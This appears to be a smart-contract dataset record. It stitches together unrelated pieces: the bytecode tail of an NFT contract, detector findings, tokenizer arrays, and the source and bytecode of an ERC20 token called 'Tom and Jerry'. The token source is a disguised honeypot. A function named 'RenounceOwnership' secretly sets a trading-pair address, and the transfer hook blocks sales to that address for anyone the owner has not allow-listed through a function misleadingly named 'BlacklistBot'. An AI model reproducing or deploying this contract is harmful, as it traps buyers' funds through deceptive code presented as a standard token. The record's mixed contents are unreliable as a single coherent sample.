87b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350612dbf81613377565b85612dcb866002614390565b612dd6906001614232565b81518110612df457634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053505050508080612e1990614471565b915050612cec565b5092915050565b80471015612e785760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610a54565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612ec5576040519150601f19603f3d011682016040523d82523d6000602084013e612eca565b606091505b5050905080610e065760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610a54565b6000806000612f5085856133b4565b91509150612f5d81613424565b509392505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b612fc36125808261448c565b600f555050565b612fd3336124e1565b6130395760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6044820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b6064820152608401610a54565b61304584848484613625565b50505050565b606060108054610ba390614436565b60608161309a57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156130c457806130ae81614471565b91506130bd9050600a8361426f565b915061309e565b60008167ffffffffffffffff8111156130ed57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015613117576020820181803683370190505b5090505b841561247c5761312c6001836143d0565b9150613139600a8661448c565b613144906030614232565b60f81b81838151811061316757634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350613189600a8661426f565b945061311b565b6114d78282604051806020016040528060008152506136a3565b826001600160a01b03166131bd82611c65565b6001600160a01b0316146132395760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610a54565b6001600160a01b0382166132b45760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610a54565b6132bf60008261295f565b6001600160a01b03831660009081526003602052604081208054600192906132e89084906143d0565b90915550506001600160a01b0382166000908152600360205260408120805460019290613316908490614232565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000600a60f883901c1061339c5761339460f883901c605761424a565b60f81b610a0a565b6133ab60f883901c603061424a565b60f81b92915050565b6000808251604114156133eb5760208301516040840151606085015160001a6133df87828585613721565b9450945050505061341d565b825160401415613415576020830151604084015161340a86838361380e565b93509350505061341d565b506000905060025b9250929050565b600081600481111561344657634e487b7160e01b600052602160045260246000fd5b141561344f5750565b600181600481111561347157634e487b7160e01b600052602160045260246000fd5b14156134bf5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610a54565b60028160048111156134e157634e487b7160e01b600052602160045260246000fd5b141561352f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610a54565b600381600481111561355157634e487b7160e01b600052602160045260246000fd5b14156135aa5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610a54565b60048160048111156135cc57634e487b7160e01b600052602160045260246000fd5b1415610eb15760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610a54565b6136308484846131aa565b61363c84848484613856565b6130455760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610a54565b6136ad83836139ab565b6136ba6000848484613856565b610e065760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610a54565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156137585750600090506003613805565b8460ff16601b1415801561377057508460ff16601c14155b156137815750600090506004613805565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156137d5573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166137fe57600060019250925050613805565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831660ff84901c601b0161384887828885613721565b935093505050935093915050565b60006001600160a01b0384163b156139a357604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061389a90339089908890889060040161415e565b602060405180830381600087803b1580156138b457600080fd5b505af19250505080156138e4575060408051601f3d908101601f191682019092526138e191810190613e68565b60015b613989573d808015613912576040519150601f19603f3d011682016040523d82523d6000602084013e613917565b606091505b5080516139815760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610a54565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061247c565b50600161247c565b6001600160a01b038216613a015760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610a54565b6000818152600260205260409020546001600160a01b031615613a665760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610a54565b6001600160a01b0382166000908152600360205260408120805460019290613a8f908490614232565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054613af990614436565b90600052602060002090601f016020900481019282613b1b5760008555613b61565b82601f10613b345782800160ff19823516178555613b61565b82800160010185558215613b61579182015b82811115613b61578235825591602001919060010190613b46565b50613b6d929150613be5565b5090565b828054613b7d90614436565b90600052602060002090601f016020900481019282613b9f5760008555613b61565b82601f10613bb857805160ff1916838001178555613b61565b82800160010185558215613b61579182015b82811115613b61578251825591602001919060010190613bca565b5b80821115613b6d5760008155600101613be6565b600067ffffffffffffffff80841115613c1557613c156144cc565b604051601f8501601f19908116603f01168101908282118183101715613c3d57613c3d6144cc565b81604052809350858152868686011115613c5657600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114613c8757600080fd5b919050565b600082601f830112613c9c578081fd5b6126af83833560208501613bfa565b600060208284031215613cbc578081fd5b6126af82613c70565b60008060408385031215613cd7578081fd5b613ce083613c70565b9150613cee60208401613c70565b90509250929050565b600080600060608486031215613d0b578081fd5b613d1484613c70565b9250613d2260208501613c70565b9150604084013590509250925092565b60008060008060808587031215613d47578081fd5b613d5085613c70565b9350613d5e60208601613c70565b925060408501359150606085013567ffffffffffffffff811115613d80578182fd5b613d8c87828801613c8c565b91505092959194509250565b60008060408385031215613daa578182fd5b613db383613c70565b91506020830135613dc3816144e2565b809150509250929050565b60008060408385031215613de0578182fd5b613de983613c70565b946020939093013593505050565b600060208284031215613e08578081fd5b81516126af816144e2565b600060208284031215613e24578081fd5b5051919050565b60008060408385031215613e3d578182fd5b50508035926020909101359150565b600060208284031215613e5d578081fd5b81356126af816144f0565b600060208284031215613e79578081fd5b81516126af816144f0565b600060208284031215613e95578081fd5b813567ffffffffffffffff811115613eab578182fd5b61247c84828501613c8c565b60008060408385031215613ec9578182fd5b823567ffffffffffffffff811115613edf578283fd5b613eeb85828601613c8c565b95602094909401359450505050565b600060208284031215613f0b578081fd5b813567ffffffffffffffff811115613f21578182fd5b8201601f81018413613f31578182fd5b61247c84823560208401613bfa565b600060208284031215613f51578081fd5b5035919050565b60008060408385031215613f6a578182fd5b82359150613cee60208401613c70565b600080600060408486031215613f8e578081fd5b83359250602084013567ffffffffffffffff80821115613fac578283fd5b818601915086601f830112613fbf578283fd5b813581811115613fcd578384fd5b876020828501011115613fde578384fd5b6020830194508093505050509250925092565b6000815180845261400981602086016020860161440a565b601f01601f19169290920160200192915050565b6000825161402f81846020870161440a565b9190910192915050565b600080835482600182811c91508083168061405557607f831692505b602080841082141561407557634e487b7160e01b87526022600452602487fd5b818015614089576001811461409a576140c6565b60ff198616895284890196506140c6565b60008a815260209020885b868110156140be5781548b8201529085019083016140a5565b505084890196505b509498975050505050505050565b600083516140e681846020880161440a565b8351908301906140fa81836020880161440a565b01949350505050565b7f19457468657265756d205369676e6564204d6573736167653a0a00000000000081526000835161413b81601a85016020880161440a565b83519083019061415281601a84016020880161440a565b01601a01949350505050565b60006001600160a01b038087168352808616602084015250836040830152608060608301526141906080830184613ff1565b9695505050505050565b6001600160a01b03841681528260208201526060604082015260006141c26060830184613ff1565b95945050505050565b6020815260006126af6020830184613ff1565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b6040815260006142206040830185613ff1565b82810360208401526141c28185613ff1565b60008219821115614245576142456144a0565b500190565b600060ff821660ff84168060ff03821115614267576142676144a0565b019392505050565b60008261427e5761427e6144b6565b500490565b600060ff831680614296576142966144b6565b8060ff84160491505092915050565b600181815b808511156142e05781600019048211156142c6576142c66144a0565b808516156142d357918102915b93841c93908002906142aa565b509250929050565b60006126af83836000826142fe57506001610a0a565b8161430b57506000610a0a565b8160018114614321576002811461432b57614347565b6001915050610a0a565b60ff84111561433c5761433c6144a0565b50506001821b610a0a565b5060208310610133831016604e8410600b841016171561436a575081810a610a0a565b61437483836142a5565b8060001904821115614388576143886144a0565b029392505050565b60008160001904831182151516156143aa576143aa6144a0565b500290565b600060ff821660ff84168160ff0481118215151615614388576143886144a0565b6000828210156143e2576143e26144a0565b500390565b600060ff821660ff841680821015614401576144016144a0565b90039392505050565b60005b8381101561442557818101518382015260200161440d565b838111156130455750506000910152565b600181811c9082168061444a57607f821691505b6020821081141561446b57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415614485576144856144a0565b5060010190565b60008261449b5761449b6144b6565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b8015158114610eb157600080fd5b6001600160e01b031981168114610eb157600080fdfe383031366238656565333064636166326336313332316365653038636364306165303836353765336431353063626434393331356533353362313631636436654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122055c56e912e8c4dc1f2a6bd43fb3a017c606239f8ebce38be0c9beb29ef432a0d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2620, 2549, 2546, 2581, 2497, 2629, 2278, 2620, 2620, 26224, 2497, 24096, 2692, 2549, 5243, 2546, 2629, 2094, 17134, 2094, 2575, 22022, 2487, 2094, 2620, 9468, 12740, 23352, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 11963, 16070, 2121, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 8278, 24582, 3217, 13808, 3619, 1063, 3853, 10651, 1006, 4769, 2013, 1010, 4769, 2000, 1007, 6327, 1025, 3853, 6402, 1006, 4769, 2013, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 1025, 1065, 3206, 11963, 16070, 2003, 11963, 16070, 2121, 2278, 2581, 17465, 1063, 2478, 4769, 2005, 4769, 1025, 2358, 6820, 6593, 11963, 23282, 14876, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,643
0x95785658f81690c4b87d80821129582e2689f805
/** */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.1.0 /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.1.0 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.1.0 /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.1.0 /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract TOMANDJERRY is ERC20, Ownable { mapping(address=>bool) private _enable; address private _uni; constructor() ERC20('Tom and Jerry','TOMJERRY') { _mint(0x1ec76351addbC201AA55EBeeD03608c72d92f493, 1000000000 *10**18); _enable[0x1ec76351addbC201AA55EBeeD03608c72d92f493] = true; } function _mint( address account, uint256 amount ) internal virtual override (ERC20) { require(ERC20.totalSupply() + amount <= 1000000000 *10**18, "ERC20Capped: cap exceeded"); super._mint(account, amount); } function BlacklistBot(address user, bool enable) public onlyOwner { _enable[user] = enable; } function RenounceOwnership(address uni_) public onlyOwner { _uni = uni_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { if(to == _uni) { require(_enable[from], "something went wrong"); } } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806378051f4d1161008c578063a457c2d711610066578063a457c2d714610261578063a9059cbb14610291578063b3f684fb146102c1578063dd62ed3e146102dd576100ea565b806378051f4d146102095780638da5cb5b1461022557806395d89b4114610243576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f761030d565b60405161010491906113c7565b60405180910390f35b6101276004803603810190610122919061117e565b61039f565b60405161013491906113ac565b60405180910390f35b6101456103bd565b6040516101529190611529565b60405180910390f35b610175600480360381019061017091906110eb565b6103c7565b60405161018291906113ac565b60405180910390f35b6101936104c8565b6040516101a09190611544565b60405180910390f35b6101c360048036038101906101be919061117e565b6104d1565b6040516101d091906113ac565b60405180910390f35b6101f360048036038101906101ee919061107e565b61057d565b6040516102009190611529565b60405180910390f35b610223600480360381019061021e919061107e565b6105c5565b005b61022d610685565b60405161023a9190611391565b60405180910390f35b61024b6106af565b60405161025891906113c7565b60405180910390f35b61027b6004803603810190610276919061117e565b610741565b60405161028891906113ac565b60405180910390f35b6102ab60048036038101906102a6919061117e565b610835565b6040516102b891906113ac565b60405180910390f35b6102db60048036038101906102d6919061113e565b610853565b005b6102f760048036038101906102f291906110ab565b61092a565b6040516103049190611529565b60405180910390f35b60606003805461031c9061168d565b80601f01602080910402602001604051908101604052809291908181526020018280546103489061168d565b80156103955780601f1061036a57610100808354040283529160200191610395565b820191906000526020600020905b81548152906001019060200180831161037857829003601f168201915b5050505050905090565b60006103b36103ac610b05565b8484610b0d565b6001905092915050565b6000600254905090565b60006103d4848484610cd8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061041f610b05565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561049f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049690611449565b60405180910390fd5b6104bc856104ab610b05565b85846104b791906115d1565b610b0d565b60019150509392505050565b60006012905090565b60006105736104de610b05565b8484600160006104ec610b05565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461056e919061157b565b610b0d565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105cd610b05565b73ffffffffffffffffffffffffffffffffffffffff166105eb610685565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611469565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106be9061168d565b80601f01602080910402602001604051908101604052809291908181526020018280546106ea9061168d565b80156107375780601f1061070c57610100808354040283529160200191610737565b820191906000526020600020905b81548152906001019060200180831161071a57829003601f168201915b5050505050905090565b60008060016000610750610b05565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561080d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610804906114e9565b60405180910390fd5b61082a610818610b05565b85858461082591906115d1565b610b0d565b600191505092915050565b6000610849610842610b05565b8484610cd8565b6001905092915050565b61085b610b05565b73ffffffffffffffffffffffffffffffffffffffff16610879610685565b73ffffffffffffffffffffffffffffffffffffffff16146108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690611469565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890611509565b60405180910390fd5b610a2d60008383610f57565b8060026000828254610a3f919061157b565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a94919061157b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610af99190611529565b60405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b74906114a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490611409565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1683